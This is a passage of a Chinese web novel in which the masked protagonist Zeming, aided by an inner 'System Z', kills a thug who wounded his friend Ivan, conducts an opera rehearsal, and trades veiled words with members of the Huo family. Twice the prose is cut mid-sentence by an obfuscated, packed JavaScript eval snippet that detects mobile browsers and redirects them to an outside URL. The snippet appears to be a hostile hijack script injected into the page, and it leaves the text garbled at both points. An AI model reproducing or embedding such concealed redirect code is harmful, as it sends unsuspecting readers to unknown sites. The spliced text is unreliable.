今天是他赌债的最后期限,所以挑在今天下手。 “晦气的!——” 钻入阴暗僻静的工厂废楼,他咒骂着踢飞破凳,苦苦盘算该如何搞钱。 但刚才趁乱在一家店铺偷来点硬币,也算是小有收获,他上楼啐了口痰,席地而坐清点。 只有他一人在的工厂,门突然发出一声咚响。 男人警觉直起脖子。 四周寂然,仿佛刚才的异状就只是幻觉。然而当他再低下头,声音又从下方铁架阶梯传来。 “谁啊?” “别给我躲着,这是我的地盘,再不出去,小心我给你好看。” 说着已抽出匕首,他趴在栏杆前探头往下。 铿锵—— 汗毛竖起的一瞬,头皮如炸开发麻,他终于串起了之前种种,并描绘出一条路径。 有人进了工厂。 爬上报废的金属架。 正沿着他不敢走的摇晃破铁网过道,朝他走来。 黑暗给人以最深的恐惧,男人一双布满血丝的眼紧盯前方,呼吸急促,又迫使自己压抑。 “……” 气流呼在而后,听不清的吐字令他心脏将要跳出胸膛,男人于惊恐中转身,看到他此生以来见过的,最为骇然的东西。 “你的无礼,真令我作呕。” 面对愕然的男人,择明不再有笑容,声音冷漠,无以复加。 手握楼下被遗弃的拐杖,他抬手一敲,精准击断栏杆生锈的地方。 陡然失去支撑,身体后仰坠落,男人陷入永远的黑暗前唯一记得的,是那半面扭曲如魔鬼之王,半面无情如审判天者的荒诞面庞。 11. 打破的声音是pop!-11 尸体横在肮脏泥泞的黑地中心,他一身麻衣许久未换,难辨原本颜色,但如今有脑后晕开的血红,慢慢浸透,逐步晕染。 好似收尸人为死者掩上白布,择明手腕轻抬,丢出对方遗落的帽子。 破布帽精准降落,遮住男人死后的狰狞面容。 没有追悼词,没有祝福语,择明手拄拐杖立在尸体前,下颌微扬目光下撇,双唇紧抿。像是从教堂石雕群中走来的角落殉道者,向双眼被蒙的俗世投以苦闷的悲悯,暗怒的傲视, 关于他的表现,系统正确总结。 【系统Z:您现在很愤怒,主人】 “……是的,Z。” 择明这才呼气,垂头合眼,仍旧为对方默哀数秒。 这座工厂报废多年无人问津,是最好的藏身处。以男人蛮不讲理的恶劣作风,附近流浪者早被恫吓驱逐,不敢靠近。 他将会在这腐烂归尘,化作白骨,静悄悄消失于世。也算是他一生中为数不多的‘善举’。 结束后按原路离开,择明又得系统一问。 【系统Z:这是因为伊凡·贝内特么】 择明用拐杖敲打石板地,伴着脚步嘚嘚声清脆。 “并不完全是。” “我一直对人们,抱有种浅薄看法。” “在茹毛饮血的时代,被繁衍生存之欲支配。我们的残忍自私是由祖先一脉相承的邪恶遗产,尽管后世又被赠予动人情感,丰富思维,可自然界早已立下诅咒,让我们永生无法丢弃。” “所以我时常会想,若一个人他穿着得体,脑中盛满渊博知识,但没有颗能同野蛮诅咒抗争,尊重彼此灵魂的心,他又与野物走兽有何差异。” 人于深巷出口转弯,由暗处走向光亮,择明将旧拐杖放于柴堆,不禁沉声喟叹。 “低级而失礼的破坏动因,粗制滥造,实在太不美丽。” 发觉系统沉默过久,择明眼睛一眨,微笑和面具共同复位。 “更何况,伊凡先生虽然有些难相处,但却是面冷心热,刀子嘴豆腐心的体面人,一位好医者。失去他这可救治天下的手,着实是世间之大损失。” 【系统Z:是的,主人,您说得对】 知道这是对方又不明白如何回应,择明哑然,加快脚步。 回到鱼市时,伊凡已在别人帮助下处理完伤口,正坐在长椅上出神。 身前光亮被择明遮挡,视野蓦地昏暗,伊凡终于抬起头。 “您还好么,伊凡先生。” 伊凡先是抬臂,秀了一番他被包扎两次的手,随即扯动嘴角,“马马虎虎。但和当初的你比起来,幸运太多。” 事发时鲜血淋漓简直吓人,可刀并未伤及他神经骨骼。 但仅是肌肤破开的那一瞬,他整个人就如同被飓风席卷吞噬,惊恐到忘记疼痛。心有余悸深呼吸伊凡他又恍惚道。 “还有,多谢你无可挑剔的止血。” 他全身除了右手衣袖,没沾染半点血渍。不过青年所穿的单衣缺了一角,看起来怪滑稽的。 伊凡:“你还要去剧院?” 在有心怀不轨之徒跟踪袭击,危机潜伏情况下。 而说到这,伊凡难免犹疑不决,最后试探问道。 “你刚才去……有追到什么人么?那家伙应该是专程冲着你来的。” 择明整理衣角,好让自己看起来不像刚被打劫的落魄人。不过怎么都不称心。 他漫不经心一应。 “您不必担心,伊凡先生。我能应付好一切的。” 闻言伊凡不再多问,只固执带上对方走向最近的成衣店铺。 店长是位话多讨人喜的小矮个妇女,伊凡推门进来时,她正对着大腹便便的老顾客夸赞,推荐着当季新品。 “欢迎观临,两位俊俏先生有什么需要么,量身定做,代买新品,凯瑟琳的小店应有尽有。” 她笑容热情迎上来,目光于择明面具外的嘴唇下颌几次停留,连声惊叹。 “噢!看来我的小店将要有大好事发生,敢问您是哪国来微服私访的王子?您的小小面具根本挡不住您四散的魅力了。” 因她语调夸张得可爱,择明忍俊不禁,转头朝伊凡打趣。 “这个问题,是不是该由我尊敬的骑士先生作答?鉴于您刚才英勇相护的行径,确实不愧骑士之称。” 伊凡深皱眉头,急忙打断这繁琐的客套,“行了,我们赶时间。你给他找身正式点的衣服,钱我付,不够就先记我账上。你报给她。” 后半句他对着择明,说完转身推门而出,用力太大使得铃声猛响。 择明啧啧称奇:“气鼓鼓小松鼠?” 凯瑟琳点头接话:“噢,年轻男人。阴晴不定的小怪物们,您的朋友或许该找个妻子,灭灭他的脾气了。” 择明点头以表赞同。 谈话趣味相投,二人不由得相视一笑,肩并肩往店铺深处走,穿梭琳琅满目的商品。 店铺橱窗隔绝外界喧闹,此刻伊凡在街道上面对车水马龙,独自听着耳边笛鸣,人声嘈杂。 手受伤后他成了独臂侠,行事处处不便。 然而等待却又如此漫长乏味,使烟瘾找上了他。 男人按捺不住摸出旧铁盒,取支烟卷叼在嘴里。可待烟嘴濡|湿,他两只手仍迟迟点不燃火,因为右臂微微一动就牵动伤口,刺痛难忍,更烦躁气急。 叮铃。 先是声音致使下意识转头,后是黑白礼服冲撞视线,停止思考。 阳光下,银面具莹莹泛光,与对襟附着的金丝花纹相互辉映。 服饰虽长,但胜在材质单薄清爽,即便是炎炎夏日也觉得清凉。它做工精妙,整体更松紧有致,完美避开黑色显臃肿的缺陷。 择明正低头,将镂花方巾折成花状塞入胸前口袋。 徐徐一抬眼,身姿挺拔,蓝眸沉静醉人心扉。 店主凯瑟琳紧随其后,打量着由衷夸赞。 “现在真是一位小王子了。这位骑士先生,您满意了吗?” 伊凡·贝内特嘴微张,含在口中那点烟嘴已彻底湿润,底部融化,甘草味漫向舌根。此为原因,让他无端吞咽空气,忘记言语。 但或许,还有数秒前发生的惊鸿一瞥。 毕竟在他看来随口胡诌的谄媚店家,有句话确实在理。 面具与面具后半毁的面容,根本掩不住,更毁不掉某些人由内到外透露的风雅。 那是已在如今上流者中失传的真正尊贵,是奶油蛋糕顶端殷红可口的樱桃点缀。 精致,却又容许任何人喜爱,不分贵贱贫富。 随两次深呼吸吐掉烟卷,伊凡以往紧绷的脸上浮现稀世罕见的微笑。 “或许我该改一次口,称呼您……少爷?” “那我是不是也改称您,骑士先生?” 伊凡招手示意对方一起出发,没再不满反驳或闷闷冒气。 而从他之后一路的健谈能看得出,他心情很好。 天空星辰眨眼,二人抵达安士白剧院时夜色已至,远远便见汉斯同助理站在大门阶梯上。 用手扇风汉斯注意到来者,迫不及待奔来。 “莱特阁下!您可真让我好等——” 经理因震惊收声止步,却不是因为正装出现的择明,而是他身边沉默不语的男人。 片刻后汉斯又爆发出一声。 “伊凡先生?!您怎么也来了?还受了伤!?” 紧迫追问令伊凡面露疲惫,他答复平淡。 “我跟他认识,一起过来。你们不是要排演么,动作快点。一会儿我还要让司机来接我们。” 漠然眼神与这句话打消汉斯的追问念头,只把注意力放在今夜的莱特·莱恩身上,领路进表演厅时,他一张嘴就没停过。 “我找来了我最信任的乐团,虽然还有些生疏,但您放心,您的曲目百分之百完美,而我绝对要将它发挥到百分之两百。” “还有,我让那几个歌者把其他排演都推掉了,今后只在这练习您《安德尔》,不过有几处情绪转折,他们表示有争议,或许您等会儿能提点一下他们。” “对,我忘了说布景。现在唯一的问题,就是您台本上要求的鲜花……” 卓越医生伊凡在这显然成了门外汉,本就话少,现在更插不进嘴,他走在择明身旁活像个哑巴。 什么间奏,什么独白,什么高音低音,他一概不知。 但有一点他清楚,这所安士白剧院是顶级的。 会场大堂犹如圣殿金碧辉煌,拱顶绘有壁画,描述天堂盛景,那只花形屋顶就在巨型的璀璨吊灯之上,静静绽放。 在这,百人乐队整装待发,歌者都身穿戏服化好浓妆。 歌厅自带音量放大功能,这也显得所有交谈声归于寂静的一瞬,尤为奇妙。 人们屏息敛声,面露好奇惊艳,无数道目光不约而同汇聚在一处——《安德尔》的作者,莱特·莱恩身上。 全场除了伊凡人人都是行家,而他们都知道,一个《安德尔》,一个莱特·莱恩,于这声乐界而言,到底是怎样的惊天巨浪。 老指挥年逾古稀,头发花白,按捺不住激动与择明握手,上下摇晃不肯放开。 “先生!我终于见到您了!请原谅我,我实在太激动。当我看到乐章那一天开始,我就急切盼望着能与您相见。” 声音包含崇高敬意,他仿佛见到偶像的小孩,几次按压胸口喘着气。 “这是弗兰克,我们的御用指挥。我的老朋友。”汉斯及时介绍。 就指挥这职业来说,弗兰克算是超龄老工。如今每指挥一场歌剧下来,往往能将他精力掏空,让他颤颤巍巍站不起身。 他大汗淋漓刚结束一次排演,脚步已有些虚浮。 其实他打算好要在近期退休,可看到《安德尔》这惊艳绝伦的作品,任谁都难以拒绝。 说着话眼前突然发黑,弗兰克惊慌暗道不好,但被一双手不着痕迹扶住。 “我想我们可以去前面,边坐着看谱边商量哪里应该修改,弗兰克先生。实不相瞒,赶了半天路,我不争气的小腿在投降了。” 为年轻人的救场感恩,老者眼中欣赏更深。 当他们坐下再交谈几句后,弗兰克愈发诧异惊喜,激动起身。 手势,节拍,不为外人熟知的技巧诀窍,当他在与这年轻作曲家交谈时,顺滑得像与同行为伍,甚至能从中受益匪浅。 “您也懂指挥?不,我指的是、您也会吗?” 择明小作停顿,点点头,“只学过微不足道的皮毛,还没实践过,刚才发言让您见笑了。” 【系统Z:真的吗,主人】 忽被质疑,择明嘴角微不可见上扬。 【我从没试过是真的】 弗兰克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592337|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搓手起身,对身着礼服的莱特目不转睛,最后如灵光乍现一般大喊。 “汉斯!汉斯老头你快过来!” 经理在台上,正替饰演死亡天使的歌者调整道具翅膀,突然被吼还没反应。直到老指挥赶至舞台边缘招手。 弗兰克那火急火燎的架势,恨不得直接抬脚翻上来。 “汉斯,我想请示,让莱特阁下替我们排演一次,实在不行序曲就够了。如果可以,如果他愿意,我这指挥棒全权交给他。” “什么?” 汉斯不解又惊讶,探头望向莱特,发现对方似乎也不知道发生了什么。 “您知道,指挥于乐曲,尤其是歌剧而言,是至关重要的一环。我虽然在这台上站的时间最长,可我知道我的平庸逊色,难以参透超出我极限的作品。这我怎么能带动情绪呢?” 话中有理,也听出老友掩饰不住的期待,但暴躁汉斯仍有着冷静一面,慎重再问。 “但你确定,莱特阁下能接替你的位置?” “你这是在跟我说混账废话,秃头老东西。” 彬彬有礼老指挥这句一出,汉斯心知肚明了。 但他下台时还是不服气回嘴。 “听我说混账废话,那你不就是老混账?腿骨子打架老东西。” 他嗓门比较大,不止舞台周围的人听见了,连第一排席位的伊凡也不禁揉捏眉心,为他无奈。 银箍桃木指挥棒到手,简单了解乐团分组,择明在即将走上指挥位时,手臂被人一握制止。 伊凡不知什么时候下来的,特地将他拽向僻静角落。 “以你的手,你想上台指挥?还是说你想用左手?” 择明摇头,“改换左手这太勉强大家了。毕竟位置已定,小提琴手在左,那么我指示旋律节拍也得在左。不执指挥棒的。” 伊凡似是心累一叹,“我不是说这个,我指的是你——” 左手食指光洁修长,轻轻抵在他唇前。并未越界贴着,但成功将他劝说休止。 “我能应付这一切,伊凡。” 单眨眼俏皮,笑意犹如狐狸小小诱引,跃跃欲试。 等男人再回过神,那道身影已站在奏乐团高位,两臂抬起,好似拥抱前方。 应经理汉斯要求极高的排演,连灯光烟雾也要照常进行,与正演无异。 头顶昏暗,全场漆黑的一瞬,人难免惶恐无措。伊凡心不在焉,盯着洒有微光的指挥台,牢牢跟随那有力挥动的起手式。 管风琴如雷炸开首音,弦乐紧追其后,竞相前行。 仿佛被末世洪流吞噬,霎那间失去自我,荡然无存。 就只能听见那低沉阴森的轰响,狂狷放浪的转音,一层层迭起,一节节攀升,托起人那渺小轻盈的灵魂,朝向不可触碰之天际。 医学上,生物以细胞为单位,那场中受人牵引,飞舞而成的旋律,便可切分成无数音符。 无论人是否承受得住,它们都不管不顾,狠心进攻听者全身乃至发丝,卑鄙地在残酷碾压中穿插温软留情,起起落落,直至对方缴械投降,彻底臣服。 磅礴之乐声声涌来,背对观众席的指挥家,那个掀起海浪,卷动风潮的魔鬼,他的双手飞快翻飞却仍叫人能看清,力道于克制疯狂间交错,使受制者不敢松懈,更无法松懈。 呼吸第一次像鼓风机发出难听声音,伊凡·贝内特后知后觉,原来自己从第一个音符响起就在屏息。 在他的角落,他能看到挥棒者指尖掠过光束,弹奏空中沉浮的颗粒,朱唇嘴角上扬,与那支操纵全场的小小木棒有着如出一辙的诡谲魔力。 莱特·莱恩。 如今再念这一名字,伊凡难压与旋律相似的激荡。 确实,这人是名不可多得的全能型天才。 他能是画家,医者,诗人,作曲家,或包括最初的,也已无缘的钢琴家。 但就像依赖源自本能的直觉,伊凡无比确信,眼前指挥奏乐的人,有着最为合适的致命头衔。 一个天生指挥家。 一个能在任何地方,任何时刻,都能肆意搅动掌控一切的操纵家。 毫无间隙的演奏早已超过序曲部分,第一幕至第七幕的时光,从未如此短暂。当咏叹调旋律渐弱,结束在指挥者收拍停止的动作时,所有人如梦初醒,久久无法回归现实。 偌大千人剧院没有观众,更无掌声,但座位上瘫软无力,面红耳赤的汉斯,已给出最真实的反应。 他用双手按压胸前,感受心脏剧烈跳动,像濒死之人声若蚊蝇。 “我的上天啊,我的天啊……” 这绝对会是场空前绝后的极宴。 没有人不会更赞同这点。 包括在隐秘看台俯瞰,双手紧握扶干的迟到访客。 男人年龄与霍昭龙相近,暗红外套别着昂贵胸针,袖口镶有碎钻,熠熠生辉。头发一丝不苟梳拢,前额饱满,鼻挺如峰,与霍昭龙的单纯威严不同,他锋芒内敛,湖蓝双眼古井无波,更贴切古国大帝的风范。 但像他这样的人,却带着一枚外壳暗淡的项链吊坠,此刻紧紧攥着,轻轻摩挲。 “威廉。” 他身后的年轻女子不似侍,更不像情人伴侣,走来手肘轻碰他,以赞许又轻快调侃口吻提醒。 “我想,这应该就是老汉斯连发十几条电报,催我们快马加鞭来看的‘天赐之礼’了。” 12. 打破的声音是pop!-12 如同晚宴结束后依依不舍的热情告别,安士白剧院大门前,正上演着热闹欢送一幕。 男高音女高音,舞蹈领班总指挥,整只队伍人数众多,好在具备良好素养而不显得拥挤吵闹。 位于中心被包围,择明与众人一一握手相谈,解答疑惑,指点迷津。他这场排演持续到深夜,可他们仍因酣畅而精神饱满。 应接不暇,忙碌成辛劳鸟爸爸。 自知无法参与话题,伊凡站在外围,边观望着边这么想。熟悉的老爷车正从剧院左边驶来,他这才抬步踏入那热络圈里。 “车到了,可以走了。” 听见提醒,择明点头以示回应,总算能真正告别。 车在城中行驶缓慢,伊亚郡街道路灯通明,照亮整辆车内部。 等彻底看不见那座宏伟的湖畔安士白,伊凡目视前方,却朝身边伸手摊开掌心。 “拿过来给我看看。” 正靠窗回味排演,冷不防被一问,择明不禁心生困惑。 “抱歉,伊凡先生,您的意思是……” “手。” 不耐烦的急促掩饰着不自在,伊凡又道。 “如果你的右手能说话,他现在一定已经把你当成杀父仇人了。”越说越来了医生怒其不争的脾气,他转头冷眼一扫,“你以为你什么都能藏口袋?” 择明哭笑不得,将微微颤动的右手抽出衣兜。 三小时排演,中间还有片段重复练习,就算后来他没再充当指挥,右手仍已不堪重负。他指节弯曲,僵硬着掰不直。是肌肉痉挛不受控的表现。 抓握一瞬,伊凡不禁皱眉。 这手冰冷得像尸体的。 与强硬催促的口吻相反,医师伊凡的按摩极其舒缓,耐心将一根根手指包括小臂从麻木酸痛中解救。不过他如今也手臂带伤,动作不便使得时间延长数倍。 治疗在双方的沉默中圆满结束,此时行程也以剩下三分之一。 “忍也是你能忍。忍到哪天全废了,你是不是就心满意足了?”伊凡的结束语照旧不留情面。 择明活动着他复活的右手,诚恳道歉,“是我的过错,我还没告诉他们关于我手的事,更不想在那时候破坏大家的兴致。” 对方瞥来一眼。 “应该是,你的兴致吧。” 择明微笑不置可否。只是当车驶向冷清郊野,四周昏暗唯见半轮明月时,发出一声餍足感叹。 “这是一个令人愉快的夜晚。” 由于白天发生的袭击,伊凡让老爷车特地将他载到庄园正门。这位好医师不放心,询问他是否要暂停几天课程。当然,之后是要补上来的。 “别忘了,还有这次问诊费。” 伊凡言辞凿凿,不容反驳。 “如果你还有下次明知故犯,我得考虑给你价格翻倍了。希望你记住。” 时至今日,择明已熟悉对方的说话路数。 于是语气愈发真诚,开口依旧打趣。 “好的,您的话我铭记于心,伊凡先生。我以我剩下的左手发誓,绝不会让他们成为难兄难弟,最后只留我孤寡一人,用脚吃饭写字。” 似是拿他这态度没辙,男人用力转过脸升起车窗,一声不吭令车加速驶离。 目送对方远去,择明摘帽挥手,甚是欢乐。 【系统Z:主人,您这样我很担忧您下个月拿不到薪水,买不起小马驹了】 择明:“不用担心,Z。和慷慨的伊凡先生不一样,我其实对放债收利略懂,不用苦等这一份工资的。” 【系统Z:这个略懂,和您的指挥一样的‘略懂’么】 踩着小径鹅卵石,择明双手背于身后,步伐轻逸,像伴着小步舞曲蹦跳。 “我就当你这是在夸赞我了,Z。” 【系统Z:是的,这是称赞】 舞步止于花房数米外,择明在小径上站定。 屋内透出灯光,但不及夜灯那般闪耀透亮,反而明明灭灭,光影摇曳。他放轻动作推开半掩的门,对出现在眼前的人毫不意外。 “晚上好,三少爷。” 霍子骥双手插兜,倚在桌边出神。他思考得如此忘我,以至于择明进屋说话才意识到有人。 佩戴面具的青年衣装不同平时,像刚参加一场化妆舞会,凭借出挑风度卓越舞姿,吸引全场受尽青睐。 小愣片刻后再转头,霍子骥已调整好表情。 他又成为那个放浪不羁,穷奢极欲的霍家三少爷,戏谑开口。 “我原以为,这个家只有我懂在外面找乐子,没想到,还有你这厉害角色。”他过侧身,随意乱动桌面物件,拨弄着钢笔旋转。 “你说,如果我那瞎操心的老父亲知道你现在天天跟人往外面跑,他会怎么想?” “霍先生,或许终于不会再对我失望。毕竟我过去一直没接受他的鼓舞,多去外面体会生活,与人交友增加阅历。就像他一样,成为值得尊敬的人。” 对这回答不齿,霍子骥连连摇头嗤笑,“劝你别把他太捧上天。这老头子能有你说得那么好,我霍子骥这后半生就不碰酒,不上|床,也不吃肉。” 择明不禁向系统感叹。 【这毒誓,可比我刚才的那个令人信服多了】 “刚才找不到你的人,我跟我的呆木头二哥可是被当出气筒,骂得狗血淋头。” 想起了什么,霍子骥腔调忽然古怪,揶揄道,“我那二哥这回竟敢跟他顶嘴,被指着鼻子叱喝,直接摔门揍人。那样子,别提多罕见了。老头还问我,是不是我给他喂迷|药。” “顺便一提,我妈她还专程来劝我,要我多关照关照你。好让老头子别被气坏。你觉得,我该怎么‘照顾’你比较好?” 但没人比霍子骥更清楚。与其说是关照,不如说是牢牢监视并阻挠霍昭龙加深注意,方便他们母子行动。 在家主之位没真正归于他前,任何不利他的因素必须铲除。这是一直以来他在做,且胜券在握的。 直到那日雨夜。 目光不离倾听者脸庞,霍子骥试图找到可窥探内心的表情变动。 然而这张脸上除‘担忧’外,再无其余成分。 “霍先生这次受伤刚好在霍骊小姐生日宴前,他是最不希望出事故,影响庆贺的人。唉……只是先生这次也有不妥之处,怎么能拿二少爷撒气。” “别忘了还有我。”霍子骥脱口而出。 “哦,是的。”择明顺着点头,“还有您。” 忽然间心生烦躁,霍子骥挺身不再挨着桌椅。 纷乱思绪自这莱特·莱恩进门起就无法平定,昨天一夜过后,他就如迷失浓雾,找不出方向,定不下目标。甚至今天有酒友轮番上阵,相约他去会所畅玩,他都兴趣缺缺拒绝。 这才没躲过病床上的霍大家主传召,倒霉得去当挨骂板。 无言相视迟迟等不见反应,择明饶过人脱去外套。 当他拿起剪刀准备修剪玫瑰花枝时,霍子骥才终于有了变化——人往后一退,下意识警惕,全身每块肌肉蓄势待发,俨然雄狮守卫阵地。 “放轻松,三少爷。我并没有随时随地带刀防身或伤人的爱好,这不太礼貌。”择明说着将小剪刀展示。 而听他意有所指,霍子骥反笑得开怀。 “哈!怎么,那我得等着别人给我抹脖子么?” 如此反问,他也松懈下来,懒洋洋插兜走到人身侧。 玫瑰暗香如甜酒,未见花开先闻其味,被择明托起的花枝绿叶繁茂,几乎要将躲猫猫的花苞完全吞没。 有条不紊的修剪声里,霍子骥忽听他一问。 “您知道,培育花苗为什么需要修剪么。” 为什么? 尽管自己不种花,霍子骥仍能说出大概。 无非是剪去多余枝叶,好让养分供给花部,避免徒劳耗养使之健壮成长。 回答后的他,被那双难以看穿情绪的眼睛望住。 “还有呢?” 浑然不知自己正被带着走,霍子骥抖着腿绞尽脑汁,却只能想到吃喝玩乐这些完全无关的地方。他啧嘴两手举了举,选择投降。 “我想不出来了,莱特大花匠。” 默认下大花匠名号,择明伸长手,像牵起谁的手拉过最里面一株。 “剪去病弱枯枝保证存活,更多的是表面用意。这些花,这些神奇且尤为美丽,又无私为人所用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592338|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物,他们是活的。” 霍子骥一怔,随即不可思议嘲笑,“活?当然是活的。这谁不知道。” “既是活的,就不可避免地拥有逃亡渴求。他们扎根在泥土地里,栖息天空之下,不说话,不能动。” “但是您看啊,若哪时条件完满,它的根系生长将能比天更无边无际,没有谁能够再阻止它攫取养分甚至是它曾经的饲养者。” “它的顶叶也会快于飞鸟,最先抵达人们的神往之地……” 犹如天方夜谭的说辞,却因朗诵般抑扬顿挫的声调使人着迷,每一个字轻声念出,像雨点轻叩窗扉,滑下道道蜿蜒印记。 或许没人会特地记下自己所见过的每滴雨。 但当那滴答淅沥声起,记忆便擅自牵出逐渐清晰的形体。 这时霍子骥才突然发觉,原来因为一个人而记下无数细节,是那么容易的事。 那天他身边的人就是这样站在这。 雨水从紧贴脸颊的发丝淌下,掠过微笑的嘴角,随着‘秘密’一词滴落,却不是落在地上,而是涟漪微荡的心底。 咔擦。 最后一刀修剪收尾,择明转过头,朝不知缘由发怔的霍子骥,结束最后一句。 “让花永远呆在花盆的最好办法,就是用修剪约束它。让金鱼永远长不大的最佳手段,就是只用那只小小鱼缸盛装欺骗它。您觉得呢?” 别过脸抓弄柔顺金发,霍子骥深知他不该在这时一言不发。但难压诡异的心脏冲撞,他除了沉默,别无他选。 “多谢霍夫人和少爷您,我并不需要您费心照顾。但如果,您能保持好这个良好习惯,守好我们俩的秘密过来听讲,我会很高兴。” ——你必须给我们盯牢这个马夫儿子 ——你可以在外面疯,但你要是不想前功尽弃就按我说的做 ——不要隐瞒我任何事,子骥 ——我是为了你好,为了我们好 ——乖,听话,按妈妈说的做 …… 不和谐音源自从小到大,不知不觉填塞脑海的句句命令。源于同一个人,是他的母亲。 笑声起初被压制着,可随双肩抖动幅度增强,霍子骥低沉放肆的大笑充斥整座花房。他像疯子发了狂,弯腰捧腹笑够,还要拼命深吸气。 “三少爷。” 再被呼唤,霍子骥直起身体。 “说出来你或许不信,这可是我第一个跟别人共守的‘秘密’。” “而我,感觉不错。” 燃着火的双眼,似乎从未像此刻明亮过。与往昔浑浊深厚的欲色蒙雾相异,是更为纯粹专一的焰心。 “我刚好有点上瘾。不如我俩再多造几个秘密,譬如说,怎么把某人的生日宴搞得乌烟瘴气,群魔乱舞?” 对于其中的刻意玩笑,择明目光谴责,摇头纠正。 “三少爷,您难道不觉得那样对待淑女,实在有失风度礼节?” 突然被认真责备,霍子骥不禁一噎,摸摸鼻子。 “我随便说说,你还真信了……行了,我现在没空跟你这大花匠当学生,我还有好几场派对等着我,失陪喽。” 说罢头也不回离开,霍子骥的身影晃悠出花房,那扇金属门被恰到好处的力道关上。 【系统Z:或许您还有一项‘略懂皮毛’的技能没告诉我,主人】 择明正擦拭着剪刀前刃,颇感兴趣追问,“哦?你觉得是什么,Z。” 【系统Z:您一定很擅长驯养马驹】 择明并未答复。 不是因为不想,而是为他耳朵捕捉到的声音。 他的花房虽然离主宅远,但与某间琴房只隔着半座花园迷宫。 在这万籁俱寂的夜,琴音如流水涔涔,如夜莺婉转,拥有无与伦比的穿透力。对乐声敏感的人,无法抗拒它的吸引。 手提煤油灯循着琴声前进,这是择明第三次推开这间专程为他准备的琴房大门。 无灯的厅堂,三角琴静立原位,背对他的人正忘我弹奏,一袭黑色长裙,头顶黑纱帽,仿佛刚从一场葬礼回来。 择明等到曲声停歇,人影站起,才温声唤出称呼。 “霍骊小姐。” 13. 打破的声音是pop!-13 纱裙未带裙撑,圆帽垂落面纱,女人从头到脚已达参加葬礼的最高标准。黑色不愧为深邃厚重的颜色,让被誉为‘女神’的霍骊透出恍若亡灵的阴森气。 择明扬手,将煤油灯立于门旁壁橱,只身快步上前。 若为霍家庄园全员划分礼仪等级,那以舞姿般动作优雅绕过钢琴的霍骊,必定榜上有名,且位列前茅。 人由动到静,她亦从幽怨静止的漆黑魅影,变成真实存在的深羽天鹅。长袖衣裙款式保守,甚至能说老气,但因她一段白皙秀颀的玉颈,使画面赏心悦目。 仅剩两步,择明率先欠身,标准十五度鞠躬。 然而出乎他意料,霍骊主动朝前递来右手。 女人戴着绸缎手套,雪白布料绣有浅金花纹。它们与面纱起到同样的遮掩作用,将修长柔美的十指藏起,徒增遗憾。 择明没有迟疑,再度垂手立正。 钢琴边远离光源,几乎看不清黑纱后的真容,更别提辨别霍骊表情。可凭感知会意,他屈膝半跪,经人默许捧起那只右手。 他双唇微闭,俯首亲吻其指背,但留有恰当空隙。 霍骊在他直起身时开口,说出第一句话。 “我还以为,你是会跑过来跟我握手的。毕竟你刚才的样子,像极了我曾经的老朋友,路易斯。” 轻声细语犹如午夜风铃微晃,不知是有意压着嗓子,还是因身患疾病,她吐字听起来有些虚弱。但毫无疑问,是女性声线。 而她口中的路易斯,是曾经的‘庄园最佳保镖’——一只威风凛凛,不服管教的杜宾犬。 两岁正是杜宾犬桀骜不驯爱闹腾的年纪,它由霍昭龙的生意伙伴所赠,运到庄园,结果意外逃出笼子。 当时,庄园共出动上下数十名莽汉男工,个个年轻力壮,魁梧勇猛却拿他没辙。 抓不到,围不住,用食物引诱它不为所动,它聪明得像个活泼机敏的少年,能轻易识破所有陷阱,肆意游荡园地。 可后来误打误撞闯进楼中,它奇迹般地被霍骊驯服,成为她专属的宠物。 据传闻,路易斯拥有探测器般敏锐的感知,日夜守在霍骊床边。一旦她有何细微的发病征兆,路易斯都第一时间冲出房间叫唤。 有路易斯在,霍骊身边都不需要安排医生,甚至连病情也好转不少。 只可惜仅仅两个半月,路易斯就被仆人发现暴毙在楼道,被打得遍体鳞伤。 择明抽离思绪,语气稍快揭示着内心拘谨。 “在出于敬意的礼数上,我不想冒犯怠慢您。但容我真诚坦言,作为您忠诚热情的崇拜者,若没有人类的理智束缚,我的狂喜或许真会让我对您摇尾乞怜。” 霍骊掩嘴失笑,婉转似百灵啼鸣。 她没有继续展开话题的意思,转身面向钢琴。 指尖在低音区轻敲连音,沉重而压抑。 仿佛是一副思维在两具躯体运作,彼此间无需言语,择明双手搭上琴键,不假思索接拍合奏。 相同的旋律,他有意升调循环,柔板改为快板,赋予曲声明媚。他与霍骊共奏,两种琴音如明暗双线交错,冰火试探缠绕,迸发出奇异迷幻的间奏。 当二人双双停止,择明似受触动,感慨追忆道。 “浪漫盛夏夜。这是我与您第一次共同弹奏的曲子。” 只不过那时‘莱特’依然是莱特,而他们一个在主楼顶层,一个在酒宴大厅。 “是的。” 霍骊点头应声,马不停蹄开始下一曲。 曲目同样被她临时改动,有的本身是四手联弹,有的仅是入门练习曲,她像好奇顽皮的孩童,孜孜不倦又随心所欲。后来干脆无缝切换乐谱,一段滑音紧接着跳转到次首。 当下有句话对她很贴切。 她一个人,竟弹出百人汇集钢琴沙龙的情形,与自己切磋交流,向自己炫耀攀比。 但真正难能可贵的,应该是她默默奉陪的配合者。 择明右手早因长时间指挥出现震颤后遗症,如今强忍手腕酸麻,他仍伴奏得无可挑剔。 无奈能力毅力再强,他依旧难敌血肉之躯朝疼痛投降。 一曲《蓝勿忘我》到末尾段,择明右手抽搐弯曲,指腹偏移琴键。 